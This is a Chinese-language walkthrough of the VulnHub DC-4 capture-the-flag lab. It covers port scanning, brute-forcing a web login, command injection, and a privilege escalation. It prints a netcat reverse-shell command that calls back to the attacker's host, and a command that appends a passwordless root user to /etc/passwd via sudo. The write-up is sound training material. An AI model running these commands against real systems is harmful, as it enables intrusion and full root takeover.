0x00 环境搭建
靶机地址:https://www.vulnhub.com/entry/dc-4,313/
下载之后用vmware打开即可,使用桥接模式。
开机后搭建完成:
0x01 主机端口探测
用arp-scan -l
探测内网存活主机,再用nmap -sV -p- ip
来探测端口:
发现只开启了80端口(HTTP服务)和22端口(SSH服务)
0x02 web渗透
访问80端口,发现只有一个登录页面:
用 dirsearch
和 xray
扫了之后也没发现什么有价值的东西,看来只能暴破了:
得到账户名密码为 admin/happy
成功登录:
看到这里可以执行命令,盲猜是个RCE
:
抓包修改参数执行命令:
0x03 RCE 反弹 shell
直接弹个shell,这里bash
命令不行,构造payload用nc
反弹shell:
nc 192.168.43.84 4444 -e /bin/bash
攻击机监听,得到反弹shell:
查看用户发现有三个用户:charles、jim、sam;只有jim用户中存在可用信息,当前用户没有权限查看mobx文件,并获得一个密码本:
用该密码本成功暴出 ssh 连接账户和密码:
登录jim账户查看mbox文件内容:
发现这是一封 root 用户发的邮件,在/var/mail
文件夹中找到一封邮件含有 charles 用户的 password:
0x04 修改/etc/passwd提权
切换到 charles 用户,使用sudo -l
看到当前用户可以用 root 权限执行teehee
命令:
teehee -a
命令可以写入文件内容并不覆盖文件原有内容:
使用teehee
命令将一个无密码用户hacker
写入到/etc/passwd
文件,并加入到root
组中:
echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后切换用户拿到 flag:
总结
整体流程如下:
主机发现 => 端口扫描 => 访问web服务 => 暴力破解 => RCE => 反弹shell => 拿到密码本暴破ssh => ssh登录发现另一用户密码 => 切换用户后可以用 root 权限执行teehee
命令 => 修改/etc/passwd
提权 => 拿到flag
感觉没有DC-3丰富,前面步骤相对简单,难点基本都在提权上。学习了修改/etc/passwd
提权的思路。
参考链接:
https://zhuanlan.zhihu.com/p/91314269(Vulnhub之路Ⅶ——DC-4)